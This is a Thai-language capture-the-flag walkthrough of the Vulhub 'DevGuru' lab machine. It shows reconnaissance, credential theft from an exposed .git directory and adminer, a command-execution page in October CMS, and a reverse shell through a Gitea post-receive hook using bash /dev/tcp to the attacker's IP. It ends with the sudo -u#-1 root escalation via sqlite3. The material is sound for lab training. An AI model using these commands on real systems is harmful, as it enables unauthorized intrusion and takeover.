[Walkthrough] Vulhub: DevGuru

Datafarm
5 min readJan 20, 2021

สวัสดีครับ วันนี้พามาทำโจทย์บน Vulhub ที่ชื่อว่า DevGuru กันนะครับ ใน Description มีเขียนเอาไว้ว่า “OSCP like ~ Real life based” เผื่อจะเป็นแนวทางสำหรับสอบ OSCP ก็..เป็น..ได้

จุดประสงค์ของโจทย์ข้อนี้คือ ให้หาช่องโหว่บนเว็บไซต์จนนำไปสู่การเข้าใช้งานได้ด้วยสิทธิ์ root นะครับ

Information Gathering

ได้โจทย์มาไม่คิดอะไรมาก nmap ก่อนลย

nmap -Pn -p- -sS -sV 192.168.37.167 -oA 192.168.37.167

ลองเข้าหน้าเว็บที่ port 80 ลักษณะหน้าตาประมาณนี้

ลองเข้าหน้าเว็บที่ port 8585 ลักษณะหน้าตาประมาณนี้

ต่อมาใช้ Tools ที่ชื่อว่า Dirsearch ในการบูธหาพาธอื่น ๆ บนเว็บไซต์ทั้ง Port 80 และ 8585

ผลการบูธพาธบน Port 8585

พบหน้าเว็บที่น่าสนใจคือหน้าสำหรับ Login

และหน้าของสมาชิกชื่อ Frank

รวมไปถึงหน้า Healthcheck ที่แสดงสถานการณ์ทำงานของระบบฐานข้อมูล หมายความว่าต้องการระบบฐานข้อมูลอยู่แน่ ๆ

ผลการบูธพาธบน Port 80

พบว่ามี .git ด้วยอาจจะมีการจัดเก็บ Source ใน Git Repository ก็เป็นไปได้

พบหน้า Login ที่เป็น Backend อยู่ด้วย

พบข้อมูลที่น่าสนใจจาก .htaccess ว่ามี adminer.php ที่ดูเหมือนจะเป็นระบบสำคัญซะด้วย

ลองเข้าไปที่พาธ adminer.php ดูก่อนเลยแล้วกัน เมื่อเข้ามาแล้วก็พบว่าเป็นระบบฐานข้อมูลนี่เอง แต่ติดตรง Credential ที่ต้องหามา Login .ให้ได้ซะก่อน

จากที่เห็นพาธ .git ก่อนหน้านี้ลองใช้ Gitdumper ลองหา Dump Source Code ของระบบนี้มาดูก่อนละกัน โดย Dump มาที่พาธ dump1

เมื่อ Dump มาเรียบร้อยแล้วให้ใช้ Extractor เพื่อทำการแกะไฟล์ที่ dump มา โดยทำการแกะไปที่ extract1

ลองเข้าไปที่พาธที่แกะออกมาดู ก็จะพบกับ Source Code

เข้าไปที่ config/database.php ก็จะพบกับรหัสผ่านสำหรับเข้าสู่ ระบบฐานข้อมูล

ลองนำข้อมูลที่ได้จาก dababase.php มาเข้าสู่ระบบดู พบว่าสามารถเข้าสู่ระบบฐานข้อมูลของ October ได้สำเร็จ

จากนั้นลองเข้าไปดูที่ Table: backend_users ก็พบว่ารหัสผ่านของ Frank ถูกเข้ารหัสแบบ bcrypt ไว้ จึงทำการสร้าง user ใหม่ขึ้นมา พร้อมกับตั้งรหัสผ่านใหม่ขึ้นมาเลย

จากนั้นนำ User/Password ที่สร้างขึ้นมาใหม่ลอง Login เข้าสู่ระบบ Backend พบว่าสามารถเข้าสู่ระบบได้สำเร็จ เป็นระบบ CMS ที่ชื่อว่า October

พบหน้าเว็บให้อัปโหลดไฟล์ที่น่าลองอัปโหลด shell เข้าไป พยายามอยู่นาน สองนานพบว่าไม่สามารถทำการ bypass การอัปโหลดเข้าไปได้เลย แสดงว่าเขาอาจจะไม่ตั้งใจให้เราอัปโหลด Shell แน่ ๆ เลย

งั้นลองมาที่หน้าของการออกแบบหน้าเว็บดูบ้าง ลองเขียน code ที่เป็นคำสั่งสำหรับเรียกใช้ OS Command โดยทำการเขียนในหน้าเว็บ /services

จากนั้นลองเข้าที่ http://192.168.37.167/services?cmd=ls พบว่าสมารถใช้คำสั่ง ls และมีไฟล์แสดงออกมา

ใช้คำสั่ง curl เพื่อสั่งให้ระบบเป้าหมายทำการดาวน์โหลดไฟล์ Reverseshell เข้าไปที่เครื่องของระบบเป้าหมาย

ตรวจสอบไฟล์ที่สั่งให้เครื่องเป้าหมายดาวน์โหลดไปว่ามีอยู่หรือไม่ และพบว่าสามารถวางไฟล์ Shell ได้เรียบร้อย

เนื่องจากไฟล์ Shell ของเราเป็น Reverse Shell จึงต้องเปิด Port เพื่อรอรับ Connection โดยใช้ nc -lvp 4455

ขั้นตอนต่อไปคือการสั่งใช้งานไฟล์ Shell โดยใช้คำสั่ง php rev.php

พบว่าสามารถ Reverse Shell กลับมาได้สำเร็จ แต่ได้ในสิทธิ์ของ www-data

หลังจาก Revere Shell แล้วก็ทำ Spwan Shell เอาไว้หน่อย เนื่องจากระบบเป้าหมายมีการลง Python3 เอาไว้เลยใช้คำสั่ง python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

ต่อมาลองใช้ Tools ชื่อว่า linPEAS เพื่อสแกนดูว่าเราสามารถเพิ่มสิทธิ์จากปัจจุบันไป root ได้อย่างไรบ้าง ใช้คำสั่ง git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git

หลังจากสแกน พบว่า Sudo Version สามารถทำ privilege escalation ได้

ลองใช้คำสั่ง sudo -l แต่พบว่าจะต้องใช้รหัสผ่านของ user ปัจจุบันด้วยจึงคิดว่ายังทำต่อด้วยช่องโหว่ sudo ไม่ได้

ลองมาหาที่ไฟล์ Backup กันก่อนดีกว่า มีหลายพาธที่น่าจะมีข้อมูลให้เราได้อีก

ค้นจนเจอ Username/Password ของระบบฐานข้อมูล

เรากลับไป Login เข้าระบบฐานข้อมูลที่ http://192.168.37.167/adminer.php และพบว่าสามารถเข้าสู่ระบบฐานข้อมูลของ gitea ได้สำเร็จ

เข้าระบบฐานข้อมูลแล้ว พุ่งตรงไปยัง Table user ก่อนเลย แล้วก็พบคอลัมน์ password ของ User frank ถูกเข้ารหัสเอาไว้ แต่ครั้งนี้รูปแบบการเข้ารหัสต่างจากฐานข้อมูลแรก

พอเลื่อน ๆ ดูก็เห็นคอลัมน์ที่บอกชนิดของ hash เอาไว้ด้วย

ลองใส่รหัสผ่านที่มีการใช้ hash แบบ bcrypt เข้าไปดูเลย

ลองนำรหัสผ่านที่ตั้งขึ้นมาใหม่ลองมาเข้าสู่ระบบใน username: frank2 ดูพบว่าสามารถเข้าสู่ระบบได้แล้ว โดยครั้งนี้เป็นการเข้าสู่ระบบบน URL: http://192.168.37.167:8585/

ระบบ Gitea นี้หน้าตาของเว็บไซต์ และมีการสร้าง Repository คล้าย ๆ กับ Github เลยแหะ

ลองสร้าง Repository ดูก็รู้เลยว่าน่าจะใช้คำสั่งของ git ได้แน่นวลล

ต้องบอกก่อนว่าแอดเองก็ยังไม่เคยเล่นกับพวก git มากนัก เรียกว่ายังเป็นมือใหม่เลยล่ะ มาศึกษาเรื่อง git เพิ่มหน่อยละกัน

เริ่มที่คำสั่งจากบนเว็บเลยละกัน

รันคำสั่งตาม Guide Line ที่มีมาให้

เมื่อกลับมาที่เว็บไซต์ก็พบว่าไฟล์ README.md ถูก push มาไว้ที่เว็บแล้ว

เมื่อเรา Push ไฟล์ขึ้นไปสำเร็จแล้ว เราจะใช้ประโยชน์จาก Git Hook ในหัวข้อ post-receive ว่าเมื่อ push ไฟล์สำเร็จจะให้ action อะไรต่อ

ใส่คำสั่ง bash -i >& /dev/tcp/192.168.37.168/5566 0>&1 เข้าไปเพื่อทำการ Reverse Shell กลับมา

ใช้คำสั่ง nc -lvp 5566 เปิดรอรับ shell เลยครับ

ทำการแก้ไขเนื้อหาไฟล์เดิมและทำการ push ไฟล์ขึ้นไป

เรียบร้อยครับตอนนี้เราได้สิทธิ์เป็น frank แล้วครับ

ลอง sudo -l ดูพบว่าไม่ติด password แล้วครับ มาลองยกสิทธิ์กันดูอีกครั้ง ลองหาข้อมูลจากเว็บ https://gtfobins.github.io/gtfobins/sqlite3/#sudo เพื่อคนหาคำสั่งการยกสิทธิ์ด้วย sqlite3

ลองรันคำสั่ง sudo sqlite3 /dev/null ‘.shell /bin/sh’ ดูก็พบว่าติดรหัสผ่านของ frank แหะ

เลยลองเอาเวอร์ชันของ sudo ไปหาช่องโหว่ดูว่าเขายกสิทธิ์กันยังไงบ้างนะ จนได้เป็นคำสั่ง sudo -u#-1 sqlite3 /dev/null ‘.shell /bin/sh’ และได้สิทธิ์ root แล้วเย้~

จบแล้วจ้า

--

--

No responses yet